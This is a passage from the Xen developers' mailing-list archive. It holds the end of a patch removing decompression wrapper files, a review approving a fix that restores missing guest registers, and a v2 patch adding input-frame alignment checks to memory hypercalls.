-#include <stdint.h>
-
-#include INCLUDE_ENDIAN_H
-
-#define XG_NEED_UNALIGNED
-#include "xg_private.h"
-#include "xg_dom_decompress.h"
-
-#define CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS
-
-typedef uint8_t u8;
-typedef uint16_t u16;
-typedef uint32_t u32;
-typedef uint64_t u64;
-
-#define likely(a) a
-#define unlikely(a) a
-
-static inline uint16_t le16_to_cpu(uint16_t v)
-{
-#if BYTE_ORDER == BIG_ENDIAN
-    return __builtin_bswap16(v);
-#else
-    return v;
-#endif
-}
-
-#include "../../xen/include/xen/lz4.h"
-#include "../../xen/common/decompress.h"
-#include "../../xen/common/unlz4.c"
-
-int xc_try_lz4_decode(
-    struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    return xc_dom_decompress_unsafe(unlz4, dom, blob, size);
-}
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe_lzma.c b/tools/libs/guest/xg_dom_decompress_unsafe_lzma.c
deleted file mode 100644
index 5d178f0c43..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe_lzma.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <inttypes.h>
-
-#include "xg_private.h"
-#include "xg_dom_decompress_unsafe.h"
-
-#include "../../xen/common/unlzma.c"
-
-int xc_try_lzma_decode(
-    struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    return xc_dom_decompress_unsafe(unlzma, dom, blob, size);
-}
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe_lzo1x.c b/tools/libs/guest/xg_dom_decompress_unsafe_lzo1x.c
deleted file mode 100644
index 356f228718..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe_lzo1x.c
+++ /dev/null
@@ -1,44 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <inttypes.h>
-#include INCLUDE_ENDIAN_H
-#include <stdint.h>
-
-#include "xg_private.h"
-#include "xg_dom_decompress_unsafe.h"
-
-typedef uint8_t u8;
-typedef uint32_t u32;
-typedef uint16_t u16;
-typedef uint64_t u64;
-
-#define likely(a) a
-#define noinline
-#define unlikely(a) a
-
-static inline uint16_t be16_to_cpu(const uint16_t v)
-{
-#if BYTE_ORDER == LITTLE_ENDIAN
-	return __builtin_bswap16(v);
-#else
-	return v;
-#endif
-}
-
-static inline uint32_t be32_to_cpu(const uint32_t v)
-{
-#if BYTE_ORDER == LITTLE_ENDIAN
-	return __builtin_bswap32(v);
-#else
-	return v;
-#endif
-}
-
-#include "../../xen/common/lzo.c"
-#include "../../xen/common/unlzo.c"
-
-int xc_try_lzo1x_decode(
-    struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    return xc_dom_decompress_unsafe(unlzo, dom, blob, size);
-}
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe_xz.c b/tools/libs/guest/xg_dom_decompress_unsafe_xz.c
deleted file mode 100644
index 0501f7f693..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe_xz.c
+++ /dev/null
@@ -1,46 +0,0 @@
-#include <stdio.h>
-#include INCLUDE_ENDIAN_H
-#include <stdlib.h>
-#include <stddef.h>
-#include <stdint.h>
-#include <inttypes.h>
-
-#include "xg_private.h"
-#include "xg_dom_decompress_unsafe.h"
-
-// TODO
-#define XZ_DEC_X86
-
-typedef uint8_t u8;
-typedef uint16_t u16;
-typedef uint32_t u32;
-typedef uint32_t __le32;
-
-static inline uint32_t cpu_to_le32(const uint32_t v)
-{
-#if BYTE_ORDER == BIG_ENDIAN
-	return __builtin_bswap32(v);
-#else
-	return v;
-#endif
-}
-
-static inline uint32_t le32_to_cpu(const uint32_t v)
-{
-#if BYTE_ORDER == BIG_ENDIAN
-	return __builtin_bswap32(v);
-#else
-	return v;
-#endif
-}
-
-#define __force
-#define always_inline
-
-#include "../../xen/common/unxz.c"
-
-int xc_try_xz_decode(
-    struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    return xc_dom_decompress_unsafe(unxz, dom, blob, size);
-}
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe_zstd.c b/tools/libs/guest/xg_dom_decompress_unsafe_zstd.c
deleted file mode 100644
index 319816a390..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe_zstd.c
+++ /dev/null
@@ -1,44 +0,0 @@
-#include <stdio.h>
-#include INCLUDE_ENDIAN_H
-#include <stdlib.h>
-#include <stddef.h>
-#include <stdint.h>
-#include <inttypes.h>
-
-#include "xg_private.h"
-#include "xg_dom_decompress_unsafe.h"
-
-typedef uint8_t u8;
-
-typedef uint16_t __u16;
-typedef uint32_t __u32;
-typedef uint64_t __u64;
-
-typedef uint16_t __le16;
-typedef uint32_t __le32;
-typedef uint64_t __le64;
-
-typedef uint16_t __be16;
-typedef uint32_t __be32;
-typedef uint64_t __be64;
-
-#define attr_const
-#define __force
-#define always_inline
-#define noinline
-#define __packed __attribute__((__packed__))
-
-#undef ERROR
-
-#define __TYPES_H__ /* xen/types.h guard */
-#include "../../xen/include/xen/byteorder.h"
-#include "../../xen/include/xen/unaligned.h"
-#include "../../xen/include/xen/xxhash.h"
-#include "../../xen/lib/xxhash64.c"
-#include "../../xen/common/unzstd.c"
-
-int xc_try_zstd_decode(
-    struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    return xc_dom_decompress_unsafe(unzstd, dom, blob, size);
-}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 08:48:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 08:48:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366295.1616176 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljg6-0005ld-Iq; Mon, 20 Jul 2026 08:48:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366295.1616176; Mon, 20 Jul 2026 08:48:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljg6-0005lW-Fe; Mon, 20 Jul 2026 08:48:46 +0000
Received: by outflank-mailman (input) for mailman id 1366295;
 Mon, 20 Jul 2026 08:48:44 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wljg4-0005lQ-Bg
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 08:48:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wljg3-000Vxk-9I
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:48:43 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5de0db-2eae-0a2a0a5409dd-0a2a450b8316-28
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:48:43 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5de0eb-b7e8-0a2a450b0019-d155802cace9-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:48:43 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-495590dde14so11612255e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 01:48:43 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4954a2a2504sm288937475e9.2.2026.07.20.01.48.41
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 01:48:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784537323; x=1785142123; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=1DNZW2UKa26dlEBq25iew1lv7KSPvVj5flXMVm9wGXQ=;
        b=r5zr8xTTzQBzHVdqjbmfeoqqmLL9010v50aiEs+0kcecyKDqTu50XijibZWT1qmMAF
         hZRJONuexzIkvvav7eUjcqxngQCa+yvv7NvH3/NFdwvvye8ZRg8Z8KNp99QXnZqOmyMj
         ieCCIX5nFTe4RwcydK0QClKOkzjea+BQffzVmJqWraA18hSmXho6PiWQ+du+OJ1FY6gZ
         eMzgkRMbqSmOAOJbcgOSeFQXbRIsgSh/z5tGhPG6A6and9BZn4ZUY13eOiZA6dHQiykJ
         Ya78fmDMc8fE5r9Gh8gTpCRQZLp1nS2OZMYhS5e6AUuy+UJqf6Qb6HUw06yrwoQvT/fP
         0jTA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784537323; x=1785142123;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=1DNZW2UKa26dlEBq25iew1lv7KSPvVj5flXMVm9wGXQ=;
        b=apXkO/8/eGEyUTPgfG58bZ4rnZmqrUzjz8vL/VodnvsR00JRdp4S0/aNRcuYxk/gCS
         NdkhHGGb5bfQzd4bO85XFi6by+kl50Z8o7CLbrfa+yv45hEeNWv6fo9owydjPzMR1hyc
         bl4UnOeiNOBLmb3PrKYvZxfvPUCr+Ez38HfNQwwmzmrHdp872Gpv9sYHs1Q5LRva6yb6
         PyMkyvNzXW3b2p7fzC9rYDUAp9mdizXV8BPlDmLtr4WanzU0Dy8zVKmYWTHH67K9ZDYH
         OdXXpqnFCieJAPa61kHoqK9mhT2zOmuLiW/YpimPHL1sXKln/3a0p7gf3haFjo5ess7r
         OAtw==
X-Forwarded-Encrypted: i=1; AHgh+RoT8zLG7IcfaSm4boqTGAC67Tr0F0HjWZZCuvF+YwDMPUp+kl5SKj8j328yk7S/CI1sQuhIzw/KgjI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyoY2t3SEgy3iKXdmOM6AT1Hl6oj5z65xF3V00isq/dpbHDB45L
	bBU7tR4b1vKIlr+8Ng3hAgWOF6cLXMExTEBxCnD+sSINn+fbBX1TJCkf
X-Gm-Gg: AfdE7ck1YqUmN2l4/4eeeM88FZGpg6Q/SQPlJ0G/jDWb0A3ffumHEY//D2Vjubdkz7U
	/05+1jjr/BX/WOhnfIFrtKk072y4i6VEuKUhT6U2NmGTlqMxMKDuWnp/L2b0uZnKRW9mVfbbgV0
	ZXJecVWr8UFhdqOUEgw5qKqmG2Hlm0WiYn83LFPmS5zvHvEA3DFC9bw5b72skSE25Q7kMU4wh9o
	Z9TpNhoio2YoB7q5ipBW+DsEnepr8SceIWJxvMt3hcQV8y1NQuB1FqJEYxNjP4d8uXMDqF6OAPX
	i9QRXX3F7nYJGT9lyHPdEgLt+nvbUzBCiFmTKO2fLthoMy3KZtLS0diob40JjHT6SiQWY18oImE
	a6ZUNz3+UtpW6ZDmp4YMpv/pHmxILfAjUMELy5Tf7XUh0LcsmUEzbHWKeL7HJXJZ54yu/Hb0JYc
	FxaC6g76NslaRBlyxCT1LhsG3XsmTRirrrfAYR6YOkqA4OHLgA7XPtWvhy
X-Received: by 2002:a05:600c:3b24:b0:495:5d6d:9cb3 with SMTP id 5b1f17b1804b1-4955d6d9dcamr46374725e9.37.1784537322331;
        Mon, 20 Jul 2026 01:48:42 -0700 (PDT)
Message-ID: <9d04dfe8-97ae-4153-aa54-1bdbd31a7637@gmail.com>
Date: Mon, 20 Jul 2026 10:48:41 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [4.22] Re: [PATCH] x86/domctl: restore all registers in
 arch_{get,set}_info_guest()
To: Jan Beulich <jbeulich@suse.com>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>, Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
 <83ac6e9b-3aaf-402d-9877-2ed63d365367@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <83ac6e9b-3aaf-402d-9877-2ed63d365367@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1784537323-198C19EA-7C09B43D/10/73395122804
X-purgate-type: spam
X-purgate-size: 3650



On 7/20/26 9:19 AM, Jan Beulich wrote:
> On 20.07.2026 02:12, Marek Marczykowski-GÃ³recki wrote:
>> Commit 9f892f84c279 ("x86/domctl: Stop using XLAT_cpu_user_regs()")
>> converted memcpy() of the cpu_user_regs structure to explicit copy of
>> its fields. In the compat case, it intentionally missed few of them,
>> named in the commit message. But the 64bit case missed also r8-r15
>> registers, which was not intentional. This, at least, caused Linux
>> 6.18.x crash when resuming PVH domU.
> 
> Oh, wow, what a bad mistake (including by me as the reviewer).
> 
>> Fix it by adding missing assignments.
>>
>> Fixes: 9f892f84c279 ("x86/domctl: Stop using XLAT_cpu_user_regs()")
>> Signed-off-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
> 
> Reviewed-by: Jan Beulich <jbeulich@suse.com>
> 
> One remark though (equally applying to the original change):
> 
>> --- a/xen/arch/x86/domain.c
>> +++ b/xen/arch/x86/domain.c
>> @@ -1255,6 +1255,14 @@ int arch_set_info_guest(
>>   
>>       if ( !compat )
>>       {
>> +        v->arch.user_regs.r15               = c.nat->user_regs.r15;
>> +        v->arch.user_regs.r14               = c.nat->user_regs.r14;
>> +        v->arch.user_regs.r13               = c.nat->user_regs.r13;
>> +        v->arch.user_regs.r12               = c.nat->user_regs.r12;
>> +        v->arch.user_regs.r11               = c.nat->user_regs.r11;
>> +        v->arch.user_regs.r10               = c.nat->user_regs.r10;
>> +        v->arch.user_regs.r9                = c.nat->user_regs.r9;
>> +        v->arch.user_regs.r8                = c.nat->user_regs.r8;
>>           v->arch.user_regs.rbx               = c.nat->user_regs.rbx;
>>           v->arch.user_regs.rcx               = c.nat->user_regs.rcx;
>>           v->arch.user_regs.rdx               = c.nat->user_regs.rdx;
> 
> Neither here nor ...
> 
>> --- a/xen/arch/x86/domctl.c
>> +++ b/xen/arch/x86/domctl.c
>> @@ -1481,6 +1481,14 @@ void arch_get_info_guest(struct vcpu *v, vcpu_guest_context_u c)
>>       if ( !compat )
>>       {
>>           /* Backing memory is pre-zeroed. */
>> +        c.nat->user_regs.r15               = v->arch.user_regs.r15;
>> +        c.nat->user_regs.r14               = v->arch.user_regs.r14;
>> +        c.nat->user_regs.r13               = v->arch.user_regs.r13;
>> +        c.nat->user_regs.r12               = v->arch.user_regs.r12;
>> +        c.nat->user_regs.r11               = v->arch.user_regs.r11;
>> +        c.nat->user_regs.r10               = v->arch.user_regs.r10;
>> +        c.nat->user_regs.r9                = v->arch.user_regs.r9;
>> +        c.nat->user_regs.r8                = v->arch.user_regs.r8;
>>           c.nat->user_regs.rbx               = v->arch.user_regs.rbx;
>>           c.nat->user_regs.rcx               = v->arch.user_regs.rcx;
>>           c.nat->user_regs.rdx               = v->arch.user_regs.rdx;
> 
> ... here it becomes clear what has determined the order in which fields
> are copied. It's neither by register number nor by field order nor
> alphabetically. We might do ourselves a (however minor) favor if we used
> a clear criteria; likely field order would be best. The more that the
> new internal struct cpu_user_regs mirrors field order from the original
> external one. Andrew (in particular)?
> 
> Also, despite this being an issue in 4.21 already, I think this definitely
> wants considering for 4.22.

Considering that it leads to crash of Linux I agree that we want to have 
this in 4.22:
  Reviewed-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 08:55:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 08:55:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366305.1616190 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljmK-0007aL-8F; Mon, 20 Jul 2026 08:55:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366305.1616190; Mon, 20 Jul 2026 08:55:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljmK-0007aE-4X; Mon, 20 Jul 2026 08:55:12 +0000
Received: by outflank-mailman (input) for mailman id 1366305;
 Mon, 20 Jul 2026 08:55:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wljmI-0007Zv-Bq
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 08:55:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wljmH-0062A2-I6
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:55:09 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5de25b-e002-0a2a0a5209dd-0a2a450cdcf6-46
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:55:09 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5de26d-f479-0a2a450c0019-d155dd35dcb5-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:55:09 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-474560436c3so4827880f8f.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 01:55:09 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63eea8afsm29365479f8f.33.2026.07.20.01.55.07
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 01:55:08 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784537709; x=1785142509; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=rmJ+M9GkQtLvSF4zOF81Z8C/mlEyAL29S16dnHYdL3Y=;
        b=IjWxwRgSEQq3Ja8svQ3jXctguBsovM/i2ScziZ3jYS+sRrVW3mAWTUcx2cn1Z3IRc8
         MGhtdSLikPU2bAbku+R45s2sKunexyaCKdoBXvoVBgOeA6ZuTUaX5JQj5bZQj09URTOL
         mA3or7iuksgI16e6cJE5X8m/5Ayyjj1Pft8M+AxVml7wvLKhjEDPiXMtSWD9DbtATgHm
         D84ucKINdQJR+MIbwXsG60eXnHOpgJvLM+GLiXo1oBUxhz1PpUvAKd4uBVqWreQs6fvB
         qZU4JnDCQkF2axyIcUFkNkGE69oqQBGPFFtAKjMnH6RSWpOmg/6Klxv34ZFczX2uTozx
         9Vgg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784537709; x=1785142509;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=rmJ+M9GkQtLvSF4zOF81Z8C/mlEyAL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X-Received: by 2002:a05:6000:29c8:b0:47f:699b:a80c with SMTP id ffacd0b85a97d-47f699ba8a2mr6819887f8f.52.1784537708669;
        Mon, 20 Jul 2026 01:55:08 -0700 (PDT)
Message-ID: <b3b1f23e-a430-4772-af29-13e59cfeb640@suse.com>
Date: Mon, 20 Jul 2026 10:55:09 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Community Manager <community.manager@xenproject.org>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v2] memory: check incoming GFNs
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAU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Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1784537709-03CD3A5B-D1E12003/0/0
X-purgate-type: clean
X-purgate-size: 5192

P2M handling (for translated domains) is at best undefined when passing in
GFNs which aren't aligned according to the requested order.

For non-translated domains the same isn't necessarily true, and domains
may possibly be able to leverage present behavior; in fact
XENMEM_memory_exchange is known to be used in such ways. Instead the
supplied GPFN has to at least pass VALID_M2P().

In memory_exchange() go farther than merely adding checks: Restrict the
scopes of the two variables such that it becomes more clear across which
range of code the validity checks actually apply. Also don't limit
checking there to non-translated domains (as of now steal_page() would
prevent things from working on translated ones), to avoid giving bad
examples or leaving latent traps.

Furthermore, covering translated domains in memory_exchange() is forward-
looking: Right now steal_page() prevents (successful) use of that sub-op
by such domains, but there are intentions to relax that.

Fixes: e4dfe0cdba5e ("Replace dom_mem_op hypercall with memory_op hypercall with")
Fixes: 6f8668f57256 ("New memory hypercall 'populate_physmap'")
Fixes: 516250dac6a8 ("New memory_op XENMEM_exchange")
Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
I'm not sure at all whether for the direct-mapped case the checking in
populate_physmap() is appropriate.
---
v2: Drop the paging_mode_translate() part from the two GMFN checks.
    Tighten the GPFN check in populate_physmap(). Add ChangeLog entry.

--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -9,6 +9,9 @@ The format is based on [Keep a Changelog
 ### Changed
  - XEN_DOMCTL_DEV_DT's, FLASK_[GS]ETBOOL's, and FLASK_DEVICETREE_LABEL's input
    string sizes need to include the nul terminator.
+ - XEMMEM_populate_physmap, XENMEM_decrease_reservation, and
+   XENMEM_memory_exchange now check input frame numbers more strictly (for
+   alignment according to the indicated order).
 
 ### Added
 
--- a/xen/common/memory.c
+++ b/xen/common/memory.c
@@ -40,6 +40,10 @@
 #include <asm/guest.h>
 #endif
 
+#ifndef VALID_M2P
+# define VALID_M2P(gpfn) ((gpfn) != INVALID_M2P_ENTRY)
+#endif
+
 struct memop_args {
     /* INPUT */
     struct domain *domain;     /* Domain to be affected. */
@@ -277,6 +281,10 @@ static void populate_physmap(struct memo
         if ( unlikely(__copy_from_guest_offset(&gpfn, a->extent_list, i, 1)) )
             goto out;
 
+        if ( !IS_ALIGNED(gpfn, 1UL << a->extent_order) ||
+             (!paging_mode_translate(d) && !VALID_M2P(gpfn)) )
+            goto out;
+
         if ( a->memflags & MEMF_populate_on_demand )
         {
             /* Disallow populating PoD pages on oneself. */
@@ -586,6 +594,9 @@ static void decrease_reservation(struct
         if ( unlikely(__copy_from_guest_offset(&gmfn, a->extent_list, i, 1)) )
             goto out;
 
+        if ( !IS_ALIGNED(gmfn, 1UL << a->extent_order) )
+            goto out;
+
         if ( tb_init_done )
         {
             struct {
@@ -665,7 +676,6 @@ static long memory_exchange(XEN_GUEST_HA
     PAGE_LIST_HEAD(in_chunk_list);
     PAGE_LIST_HEAD(out_chunk_list);
     unsigned long in_chunk_order, out_chunk_order;
-    xen_pfn_t     gpfn, gmfn;
     mfn_t         mfn;
     unsigned long i, j, k;
     unsigned int  memflags = 0;
@@ -778,6 +788,8 @@ static long memory_exchange(XEN_GUEST_HA
         /* Steal a chunk's worth of input pages from the domain. */
         for ( j = 0; j < (1UL << in_chunk_order); j++ )
         {
+            xen_pfn_t gmfn;
+
             if ( unlikely(__copy_from_guest_offset(
                 &gmfn, exch.in.extent_start, (i<<in_chunk_order)+j, 1)) )
             {
@@ -785,6 +797,12 @@ static long memory_exchange(XEN_GUEST_HA
                 goto fail;
             }
 
+            if ( !IS_ALIGNED(gmfn, 1UL << exch.in.extent_order) )
+            {
+                rc = -EDOM;
+                goto fail;
+            }
+
             for ( k = 0; k < (1UL << exch.in.extent_order); k++ )
             {
 #ifdef CONFIG_X86
@@ -867,6 +885,8 @@ static long memory_exchange(XEN_GUEST_HA
         /* Assign each output page to the domain. */
         for ( j = 0; (page = page_list_remove_head(&out_chunk_list)); ++j )
         {
+            xen_pfn_t gpfn;
+
             if ( assign_page(page, exch.out.extent_order, d,
                              MEMF_no_refcount) )
             {
@@ -903,6 +923,18 @@ static long memory_exchange(XEN_GUEST_HA
                 continue;
             }
 
+            /*
+             * PV domains are known to pass arbitrary PFNs into this hypercall.
+             * Therefore we cannot apply the alignment check there.
+             */
+            if ( paging_mode_translate(d)
+                 ? !IS_ALIGNED(gpfn, 1UL << exch.out.extent_order)
+                 : !VALID_M2P(gpfn) )
+            {
+                rc = -EDOM;
+                continue;
+            }
+
             mfn = page_to_mfn(page);
             rc = guest_physmap_add_page(d, _gfn(gpfn), mfn,
                                         exch.out.extent_order) ?: rc;


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 08:57:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 08:57:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366314.1616202 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljoy-0008Gj-Kv; Mon, 20 Jul 2026 08:57:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366314.1616202; Mon, 20 Jul 2026 08:57:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
